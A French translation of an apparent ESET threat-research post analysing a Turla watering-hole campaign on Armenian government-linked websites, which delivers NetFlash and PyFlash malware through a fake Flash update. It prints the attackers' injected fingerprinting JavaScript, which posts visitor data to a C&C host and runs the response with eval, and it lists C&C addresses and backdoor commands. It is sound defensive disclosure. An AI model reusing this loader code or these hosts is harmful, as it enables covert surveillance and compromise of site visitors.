Les chercheurs d'ESET ont découvert une opération d’attaque de point d’eau (alias compromis stratégique sur le web) ciblant plusieurs sites web arméniens très médiatisés. Elle repose sur un faux leurre de mise à jour Adobe Flash et fournit deux logiciels malveillants jusqu'alors non documentés que nous avons baptisés NetFlash et PyFlash.

Divers aspects de cette campagne nous amènent à attribuer cette opération à Turla, un groupe d'espionnage tristement célèbre actif depuis plus de dix ans. Ses principales cibles sont des organisations gouvernementales et militaires. Nous avons déjà fait état de plusieurs campagnes de ce groupe, dont Mosquito et LightNeuron.

Cette récente opération présente des similitudes avec plusieurs des campagnes de Turla que nous avons suivies ces dernières années. En particulier, le modus operandi est similaire à une campagne que nous avons découverte en 2017. Les différents morceaux de JavaScript utilisés y sont presque identiques à ceux de cette campagne, mais les cibles et les charges utiles sont différentes.

Sites web ciblés

Dans cette opération spécifique, Turla a compromis au moins quatre sites web arméniens, dont deux appartenant au gouvernement. Il est donc probable que les cibles comprennent des fonctionnaires et des hommes politiques.

Selon la télémétrie de l'ESET, les sites web suivants ont été compromis :

  • armconsul[.]ru: La section consulaire de l'ambassade d'Arménie en Russie
  • nkr[.]am: Ministère de la protection de la nature et des ressources naturelles de la République d'Artsakh
  • aiisa[.]am: L'Institut arménien des affaires internationales et de sécurité
  • adgf[.]am: Le Fonds de garantie des dépôts arméniens

Nous avons des indications que ces sites web ont été compromis depuis au moins le début de 2019. Nous avons informé le CERT national arménien et lui avons fait part de notre analyse avant la publication.

Les opérateurs de Turla ont utilisé des méthodes d'accès inconnues à ces sites web pour insérer un morceau de code JavaScript malveillant. Par exemple, pour mnp.nkr[.]am, ils ont ajouté du code obfusqué à la fin de jquery-migrate.min.js (une bibliothèque JavaScript commune), comme le montre la figure 1.

Figure 1. Code JavaScript obscurci injecté dans le site web mnp.nkr[.]am

Ce code charge un JavaScript externe de skategirlchina[.]com/wp-includes/data_from_db_top.php. Nous analysons ce code dans la section suivante.

Depuis la fin novembre 2019, nous avons remarqué que skategirlchina[.]com ne livrait plus de scripts malveillants. Il est donc probable que les opérateurs de Turla aient suspendu cette attaque de point d’eau.

Prise « d'empreintes digitales » et livraison de logiciels malveillants

Lors de la visite d'une page web compromise, le JavaScript malveillant de deuxième étape est délivré par skategirlchina[.]com et prend les empreintes digitales du navigateur du visiteur. La figure 2 montre la fonction principale de ce script.

Si c'est la première fois que le navigateur de l'utilisateur exécute le script, il ajoutera un evercookie avec une valeur MD5 apparemment aléatoire fournie par le serveur, différente à chaque exécution du script. L'implémentation de l'evercookie est basée sur le code disponible sur GitHub. Il utilise plusieurs lieux de stockage tels que la base de données locale, les objets partagés locaux (Flash cookies), le stockage Silverlight, etc. pour stocker la valeur du cookie. Par rapport à un cookie ordinaire, il sera beaucoup plus persistant car il ne sera pas supprimé si l'utilisateur se contente de supprimer les cookies du navigateur.

Cet « evercookie » sera utilisé pour déterminer si l'utilisateur visite à nouveau l'un des sites web compromis. Lorsque l'utilisateur revient une deuxième fois, la valeur MD5 précédemment stockée sera utilisée pour l'identifier.

Ensuite, il recueille plusieurs informations, notamment la liste des plugins du navigateur, la résolution de l'écran et diverses informations sur le système d'exploitation. Ces informations sont envoyées au serveur de C&C dans une requête POST. S'il y a une réponse, elle est supposée être du code JavaScript et est exécutée à l'aide de la fonction eval.

[…]
function f_ec(){
    var ec = new evercookie({domain:'http://skategirlchina[.]com/wp-includes/data_from_db_top.php',baseurl:'?http://skategirlchina[.]com/wp-includes/data_from_db_top.php'});
    ec.get("ec", function(value) {
        if (value!=undefined){
            var jsonText = {'ec': ''+value+'',
                            'scp':screen.pixelDepth==undefined?''+0+'':''+screen.pixelDepth+'',
                            'scw':''+screen.width+'',
                            'sch':''+screen.height+'',
                            'bn':''+bn+'',
                            'bv':''+bv+'',
                            'bc':''+bc+'',
                            'osn':''+osn+'',
                            'osv':''+osv+'',
                            'osc':''+osc+'',
                            'adr':''+adr+'',
                            'pdr':''+pdr+'',
                            'fla':''+fla+'',
                            'jav':''+jav+'',
                            'wmp':''+wmp+'',
                            'msw':''+msw+'',
                            'qui':''+qui+'',
                            'sho':''+sho+'',
                             'type':'info',
                            'tiz': ''+(new Date().getTimezoneOffset()/60)+''
                            };
                var json = JSON.stringify(jsonText);

                 ajax({
                content_type : 'application/json',
                url:  'http://skategirlchina[.]com/wp-includes/data_from_db_top.php?http://skategirlchina[.]com/wp-includes/data_from_db_top.php',
                crossDomain: true,
                type: 'POST',
                data: json,
                onSuccess: function(m){
                    eval(m);
                }
            });
        }
        else{
           ec.set('ec', '<redacted MD5 value>');
           setTimeout(f_ec,1500);
        }

Figure 2. Script d'empreintes digitales (URL malveillantes détournées)

Si le visiteur est jugé intéressant, le serveur répond avec un morceau de code JavaScript qui crée une iframe. Les données de la télémétrie ESET suggèrent que, pour cette campagne, seul un nombre très limité de visiteurs a été considéré comme intéressant par les opérateurs de Turla.

Cette iframe affiche un faux avertissement de mise à jour d'Adobe Flash à l'utilisateur, comme le montre la figure 3, afin de le piéger pour qu'il télécharge un installateur Flash malveillant.

Figure 3. Faux iframe de mise à jour d'Adobe Flash

Nous n'avons pas observé l'utilisation de vulnérabilités de navigateur. La tentative de compromis repose uniquement sur cette astuce d'ingénierie sociale. Une fois que l'exécutable malveillant est téléchargé à partir du même serveur que le JavaScript de l'iframe, et si l'utilisateur le lance manuellement, une variante du malware Turla et un programme Adobe Flash légitime sont installés.

La figure 4 donne un aperçu du processus de compromission, de la visite initiale de l'un des sites web arméniens compromis à la livraison d'une charge utile malveillante.

Figure 4. Vue d'ensemble de l'exploitation de l’attaque de point d'eau

Logiciel malveillant

Une fois que l'utilisateur exécute le faux installateur, il exécutera à la fois une variante du malware Turla et un installateur Adobe Flash légitime. Ainsi, l'utilisateur est susceptible de croire que l'avertissement de mise à jour était légitime.

Avant septembre 2019 : Skipper

Avant la fin août 2019, la victime recevrait une archive RAR-SFX contenant un installateur Adobe Flash v14 légitime et une deuxième archive RAR-SFX. Cette dernière contient les différents éléments d'une porte dérobée connue sous le nom de Skipper qui a été précédemment attribuée à Turla. Elle a été documentée en 2017 par des chercheurs de Bitdefender. De plus, une version plus récente a été documentée par Telsy en mai 2019.

Étant donné qu'il n'y a que des changements mineurs entre les versions documentées et les plus récentes, nous ne fournirons pas ici une analyse détaillée.

Un changement intéressant est que le module de communication Skipper utilise le serveur qui héberge les JavaScripts distants et les binaires malveillants de cette campagne pour son serveur C&C, en particulier skategirlchina[.]com/wp-includes/ms-locale.php.

À partir de septembre 2019 : NetFlash et PyFlash

Fin août 2019, nous avons constaté que la charge utile livrée par skategirlchina[.]com a changé.

NetFlash (téléchargeur .NET )

La nouvelle charge utile était une application .NET qui a abandonné un installateur pour Adobe Flash v32 dans %TEMP%\adobe.exe, et NetFlash (un téléchargeur .NET) dans in %TEMP%\winhost.exe.

D'après l'horodatage de leur compilation, les échantillons de logiciels malveillants ont été compilés fin août 2019 et début septembre 2019, juste avant d'être téléchargés sur le serveur C&C du point d'eau.

NetFlash télécharge son logiciel malveillant de deuxième niveau à partir d'une URL codée en dur et établit la persistance de cette nouvelle porte dérobée à l'aide d'une tâche programmée par Windows. La figure 5 montre la fonction NetFlash qui télécharge le logiciel malveillant de deuxième niveau, appelé PyFlash. Nous avons également rencontré un autre échantillon de NetFlash, probablement compilé fin août 2019, avec un serveur C&C différent codé en dur : 134.209.222[.]206:15363.

Figure 5. Fonction principale de NetFlash

PyFlash

Cette deuxième étape est un exécutable py2exe. py2exe est une extension Python permettant de convertir un script Python en un exécutable Windows autonome. À notre connaissance, c'est la première fois que les développeurs de Turla utilisent le langage Python dans une porte dérobée.

La backdoor communique avec son serveur C&C codé en dur via HTTP. L'URL C&C et d'autres paramètres tels que la clé AES et IV utilisée pour crypter toutes les communications réseau sont spécifiés au début du script, comme le montre la figure 6.

Figure 6. Variables globales dans le script Python PyFlash

La fonction principale du script, illustrée à la figure 7, envoie des informations sur la machine au serveur C&C. C'est la sortie des fonctions de la liste de commandes de la figure 6. Elle comprend des commandes liées au système d'exploitation (systeminfo, tasklist) et des commandes liées au réseau (ipconfig, getmac, arp).

Figure 7. Fonction principale de PyFlash

Le serveur C&C peut également envoyer des commandes de porte dérobée au format JSON. Les commandes implémentées dans cette version de PyFlash sont les suivantes

  • Télécharger des fichiers supplémentaires à partir d'un lien HTTP(S) donné;
  • Exécuter une commande Windows en utilisant la fonction Python subprocess32.Popen;
  • Modifier le délai d'exécution : modifie la tâche Windows qui lance régulièrement (toutes les X minutes ; 5 par défaut) le logiciel malveillant;
  • Tuer (désinstaller) le logiciel malveillant. Pour confirmer cette instruction, le malware envoie une requête POST au serveur C&C avec la chaîne suivante.

 I’m dying :(
Tell my wife that i love her…

Ensuite, la sortie de la commande est renvoyée aux opérateurs, chiffrée avec AES, via une requête POST.

Conclusion

Turla utilise toujours les attaques de point d'eau comme l'une de ses principales tactiques d'accès. Il est intéressant de noter que cette campagne s'appuie sur une astuce d'ingénierie sociale bien connue - un faux avertissement de mise à jour Adobe Flash - afin d'inciter l'utilisateur à télécharger et à installer des logiciels malveillants.à

D'autre part, la charge utile a été modifiée, probablement pour échapper à la détection, comme le sait Skipper depuis de nombreuses années. Ils sont passés à NetFlash, qui installe une porte dérobée que nous appelons PyFlash et qui est développée en langage Python.

Nous continuerons à surveiller les nouvelles activités de Turla et nous publierons les informations pertinentes sur notre blog. Pour toute question, contactez-nous à l'adresse suivante : threatintel@eset.com. Des indicateurs de compromis peuvent également être trouvés sur notre dépôt GitHub.

Indicateurs of compromission (IoCs)

Sites Web compromis

  • http://www.armconsul[.]ru/user/themes/ayeps/dist/js/bundle.0eb0f2cb2808b4b35a94.js
  • http://mnp.nkr[.]am/wp-includes/js/jquery/jquery-migrate.min.js
  • http://aiisa[.]am/js/chatem/js_rA9bo8_O3Pnw_5wJXExNhtkUMdfBYCifTJctEJ8C_Mg.js
  • adgf[.]am

Serveurs C&C

  • http://skategirlchina[.]com/wp-includes/data_from_db_top.php
  • http://skategirlchina[.]com/wp-includes/ms-locale.php
  • http://37.59.60[.]199/2018/.config/adobe
  • http://134.209.222[.]206:15363
  • http://85.222.235[.]156:8000

Échantillons

SHA-1 Timestamp Description ESET Detection Name
973620A7AB28A2CBA82DC2A613CD24ED43734381 Thu Aug 29 04:14:46 UTC 2019 NetFlash Dropper MSIL/Turla.D
B6567F988C9ACC5DF3CBD72409FC70D54EA412BB Tue Sep 3 11:12:04 UTC 2019 NetFlash MSIL/Turla.D
9F81710B85AA7088505C1EECCE9DA94A39A2DC06 Thu Aug 29 04:12:33 UTC 2019 NetFlash MSIL/Turla.F
32430B11E42EDEB63A11E721927FFBABE7C9CFEA N/A PyFlash Win32/Turla.EM
620A669EC0451C9F079FB4731F254AC577902E5E Wed Aug 29 09:43:18 UTC 2018 Skipper communication DLL Win32/Turla.EJ

Techniques MITRE ATT&CK

Tactic ID Name Description
Initial Access T1189 Drive-by Compromise Turla compromised high-value websites to deliver malware to the visitors.
Execution T1204 User Execution A fake Flash installer is intended to trick the user into launching the malware.
Persistence T1053 Scheduled Task NetFlash and PyFlash persist using scheduled tasks.
Discovery T1016 System Network Configuration Discovery PyFlash executes ipconfig /all, getmac and arp -a
T1057 Process Discovery PyFlash executes tasklist
T1082 System Information Discovery PyFlash executes systeminfo
Command and Control T1032 Standard Cryptographic Protocol PyFlash uses AES-128 in CBC mode to encrypt C&C communications.
T1043 Commonly Used Port NetFlash uses port 80.
T1065 Uncommonly Used Port PyFlash uses port 8,000.
A NetFlash sample uses port 15,363.
T1071 Standard Application Layer Protocol NetFlash and PyFlash use HTTP.
Exfiltration T1041 Exfiltration Over Command and Control Channel The output of PyFlash surveillance and C&C commands are exfiltrated using the C&C protocol.